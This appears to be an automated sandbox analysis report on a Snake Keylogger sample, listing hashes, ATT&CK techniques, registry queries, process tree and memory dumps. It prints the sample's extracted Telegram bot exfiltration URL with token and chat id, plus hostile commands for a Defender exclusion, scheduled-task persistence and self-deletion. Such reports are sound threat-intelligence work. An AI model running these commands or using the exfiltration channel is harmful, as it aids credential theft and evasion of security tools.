snakekeylogger | 187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9

Analysis

max time kernel
92s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2024 01:15

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General

Target

187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
Size

713KB
MD5

5b764e745be569a5dfb883e255080fa9
SHA1

f1bd0c7798776bbead416b2feab3ecb2a1b433c1
SHA256

187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9
SHA512

29baa8d16acbd4b40ae912c040cdca524749a24d760722bd8ad21f5295aa295bd11052c8bb600dbe860dc4d14d6e1209daf8c8f53925dbb68755e4a43f58de79
SSDEEP

12288:u8XPrixlaIH2qwgSUOagJ3mDdcbk9gPikwsbeo4saWC8hZ:u4uxlaIGgVOaUWqo9Eikwau8

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot8183422874:AAGqcPtzxPUU2hrA-VMQ9I_vPVTL-SZlwpo/sendMessage?chat_id=2135869667

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/3948-21-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4388	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1064 set thread context of 3948	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2724	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
4388	powershell.exe
1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
3948	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
4388	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeDebugPrivilege	3948	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1064 wrote to memory of 4388	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	86
PID 1064 wrote to memory of 4388	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	86
PID 1064 wrote to memory of 4388	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	86
PID 1064 wrote to memory of 2724	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	88
PID 1064 wrote to memory of 2724	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	88
PID 1064 wrote to memory of 2724	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	88
PID 1064 wrote to memory of 3948	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	90
PID 1064 wrote to memory of 3948	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	90
PID 1064 wrote to memory of 3948	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	90
PID 1064 wrote to memory of 3948	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	90
PID 1064 wrote to memory of 3948	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	90
PID 1064 wrote to memory of 3948	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	90
PID 1064 wrote to memory of 3948	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	90
PID 1064 wrote to memory of 3948	1064	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	90
PID 3948 wrote to memory of 732	3948	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	92
PID 3948 wrote to memory of 732	3948	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	92
PID 3948 wrote to memory of 732	3948	187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe	92
PID 732 wrote to memory of 2000	732	cmd.exe	94
PID 732 wrote to memory of 2000	732	cmd.exe	94
PID 732 wrote to memory of 2000	732	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
"C:\Users\Admin\AppData\Local\Temp\187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\nfYAIYYVCvPz.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nfYAIYYVCvPz" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC97A.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2724
- C:\Users\Admin\AppData\Local\Temp\187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe
  "C:\Users\Admin\AppData\Local\Temp\187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3948
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:732
  - - C:\Windows\SysWOW64\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      System Location Discovery: System Language Discovery
      PID:2000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\187b18b2f899560b7a11e8e8d9532fca975f881ef23007576474dcf087903dc9.exe.log

Filesize
1KB

MD5
8ec831f3e3a3f77e4a7b9cd32b48384c

SHA1
d83f09fd87c5bd86e045873c231c14836e76a05c

SHA256
7667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982

SHA512
26bffa2406b66368bd412bf25869a792631455645992cdcade2dbc13a2e56fb546414a6a9223b94c96c38d89187add6678d4779a88b38b0c9e36be8527b213c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_35fmojki.nh4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC97A.tmp

Filesize
1KB

MD5
33665661dcf4b81a880367146628f35f

SHA1
dee1a7577fdeccf9809ea8247c6aadf2c20d3744

SHA256
5ca92880da1c93beef0b8a96ac86897d92292650492f7ce835332d8d183fe8b6

SHA512
9100c244790e8a4221705c5d123b42d8bf942c2c7c8c28857ed78f00cf6386c09125c8cb95cd009380227ebb9b815aa27ebc8e34dc2eaba591b1166392e38c44

Download Submit
memory/1064-8-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download
memory/1064-10-0x00000000091A0000-0x000000000923C000-memory.dmp

Filesize
624KB

Download
memory/1064-5-0x0000000005750000-0x000000000575A000-memory.dmp

Filesize
40KB

Download
memory/1064-6-0x0000000005A20000-0x0000000005A32000-memory.dmp

Filesize
72KB

Download
memory/1064-7-0x0000000074CBE000-0x0000000074CBF000-memory.dmp

Filesize
4KB

Download
memory/1064-3-0x00000000055A0000-0x0000000005632000-memory.dmp

Filesize
584KB

Download
memory/1064-9-0x0000000006A50000-0x0000000006AB8000-memory.dmp

Filesize
416KB

Download
memory/1064-4-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download
memory/1064-0-0x0000000074CBE000-0x0000000074CBF000-memory.dmp

Filesize
4KB

Download
memory/1064-32-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download
memory/1064-2-0x0000000005A60000-0x0000000006004000-memory.dmp

Filesize
5.6MB

Download
memory/1064-1-0x0000000000B10000-0x0000000000BC8000-memory.dmp

Filesize
736KB

Download
memory/3948-38-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download
memory/3948-21-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3948-67-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download
memory/3948-23-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download
memory/4388-15-0x00000000023B0000-0x00000000023E6000-memory.dmp

Filesize
216KB

Download
memory/4388-55-0x0000000007020000-0x000000000703A000-memory.dmp

Filesize
104KB

Download
memory/4388-25-0x0000000005660000-0x00000000056C6000-memory.dmp

Filesize
408KB

Download
memory/4388-20-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download
memory/4388-24-0x0000000004F40000-0x0000000004F62000-memory.dmp

Filesize
136KB

Download
memory/4388-19-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download
memory/4388-37-0x0000000005840000-0x0000000005B94000-memory.dmp

Filesize
3.3MB

Download
memory/4388-39-0x0000000005CF0000-0x0000000005D0E000-memory.dmp

Filesize
120KB

Download
memory/4388-40-0x0000000005DA0000-0x0000000005DEC000-memory.dmp

Filesize
304KB

Download
memory/4388-52-0x0000000006C80000-0x0000000006C9E000-memory.dmp

Filesize
120KB

Download
memory/4388-53-0x0000000006CE0000-0x0000000006D83000-memory.dmp

Filesize
652KB

Download
memory/4388-42-0x0000000071400000-0x000000007144C000-memory.dmp

Filesize
304KB

Download
memory/4388-41-0x0000000006CA0000-0x0000000006CD2000-memory.dmp

Filesize
200KB

Download
memory/4388-28-0x00000000056D0000-0x0000000005736000-memory.dmp

Filesize
408KB

Download
memory/4388-54-0x0000000007660000-0x0000000007CDA000-memory.dmp

Filesize
6.5MB

Download
memory/4388-56-0x0000000007090000-0x000000000709A000-memory.dmp

Filesize
40KB

Download
memory/4388-57-0x00000000072A0000-0x0000000007336000-memory.dmp

Filesize
600KB

Download
memory/4388-58-0x0000000007220000-0x0000000007231000-memory.dmp

Filesize
68KB

Download
memory/4388-59-0x0000000007250000-0x000000000725E000-memory.dmp

Filesize
56KB

Download
memory/4388-60-0x0000000007260000-0x0000000007274000-memory.dmp

Filesize
80KB

Download
memory/4388-61-0x0000000007360000-0x000000000737A000-memory.dmp

Filesize
104KB

Download
memory/4388-62-0x0000000007340000-0x0000000007348000-memory.dmp

Filesize
32KB

Download
memory/4388-65-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download
memory/4388-18-0x0000000004FC0000-0x00000000055E8000-memory.dmp

Filesize
6.2MB

Download
memory/4388-16-0x0000000074CB0000-0x0000000075460000-memory.dmp

Filesize
7.7MB

Download